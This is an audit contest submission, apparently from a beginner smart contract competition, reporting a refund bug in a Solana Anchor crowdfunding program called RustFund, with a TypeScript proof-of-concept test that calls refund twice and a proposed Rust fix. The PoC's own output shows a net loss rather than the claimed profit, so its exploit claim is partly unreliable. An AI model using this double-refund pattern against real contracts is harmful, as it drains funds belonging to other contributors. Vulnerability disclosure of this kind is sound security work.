RustFund

First Flight #36
Beginner FriendlyRust
100 EXP
View results
Submission Details
Severity: high
Valid

Contribution Tracking Exploit

Summary

Due to the missing contribution amount tracking, users can exploit the contract to claim multiple refunds for the same contribution, potentially draining the fund.

Vulnerability Details

This vulnerability combines the issue of not tracking individual contribution amounts with the ability to refund after the deadline. Since the contract sets the contribution amount to 0 but never updates it, and the refund function transfers the amount stored in the contribution record, a user could:

  1. Contribute funds

  2. Wait for the deadline to pass

  3. Refund their contribution

  4. Refund again to extract more funds, since the amount in their contribution record was never properly tracked

The vulnerability exists because:

  1. Contributions are not tracked properly in the contribution account

  2. The refund function doesn't check the remaining fund balance appropriately

Impact

This vulnerability allows malicious user do drain fund by refunding multiple times, directly steal form other contributors and the pool of founds.

POC

//audit CRITICAL - Contribution Tracking Exploit
it("Exploitation scenario: Contribution tracking bypass allows multiple refunds", async () => {
// Create a new fund for this exploit
const exploitFundName = "Exploit Fund";
const [exploitFundPDA] = await PublicKey.findProgramAddress(
[Buffer.from(exploitFundName), creator.publicKey.toBuffer()],
program.programId
);
await program.methods
.fundCreate(exploitFundName, description, goal)
.accounts({
fund: exploitFundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
// Set deadline far in the future
const exploitDeadline = new anchor.BN(Math.floor(Date.now() / 1000) + 10);
await program.methods
.setDeadline(exploitDeadline)
.accounts({
fund: exploitFundPDA,
creator: creator.publicKey,
})
.rpc();
// Contribute
const smallContribution = new anchor.BN(100000000); // 0.1 SOL
const [exploitContributionPDA] = await PublicKey.findProgramAddress(
[exploitFundPDA.toBuffer(), provider.wallet.publicKey.toBuffer()],
program.programId
);
const balanceBeforeContribution = await provider.connection.getBalance(
provider.wallet.publicKey
);
await program.methods
.contribute(smallContribution)
.accounts({
fund: exploitFundPDA,
contributor: provider.wallet.publicKey,
contribution: exploitContributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
// Wait for the deadline to pass
await new Promise((resolve) => setTimeout(resolve, 15000));
// First refund
await program.methods
.refund()
.accounts({
fund: exploitFundPDA,
contribution: exploitContributionPDA,
contributor: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
// Second refund (exploit)
await program.methods
.refund()
.accounts({
fund: exploitFundPDA,
contribution: exploitContributionPDA,
contributor: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
const balanceAfterExploit = await provider.connection.getBalance(
provider.wallet.publicKey
);
console.log(`Contributed 0.1 SOL once but refunded multiple times`);
console.log(`Net profit from exploit: ~${(balanceAfterExploit - balanceBeforeContribution)/1000000000} SOL`);
});

Output:

========================================
🐛 BUG REPORT [CRITICAL]: Contribution Tracking Exploit
----------------------------------------
Description: User can refund multiple times after deadline because contribution amounts aren't properly tracked
Evidence: Contributed 0.1 SOL once but was able to refund multiple times. Net profit from exploit: ~-0.101462656 SOL
========================================

Tools Used

  • Anchor framework for testing

  • Manual code review

Recommendations

  1. Properly track contribution amounts as mentioned in Finding

  2. Update the refund function to reset the contribution amount after refunding:

pub fn refund(ctx: Context<FundRefund>) -> Result<()> {
let amount = ctx.accounts.contribution.amount;
// Proceed with refund only if amount > 0
if amount == 0 {
return Err(ErrorCode::NothingToRefund.into());
}
if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() {
return Err(ErrorCode::DeadlineNotReached.into());
}
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.contributor.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.contributor.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
// Reset contribution amount after refund
ctx.accounts.contribution.amount = 0;
Ok(())
}
Updates

Appeal created

bube Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Contribution amount is not updated

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.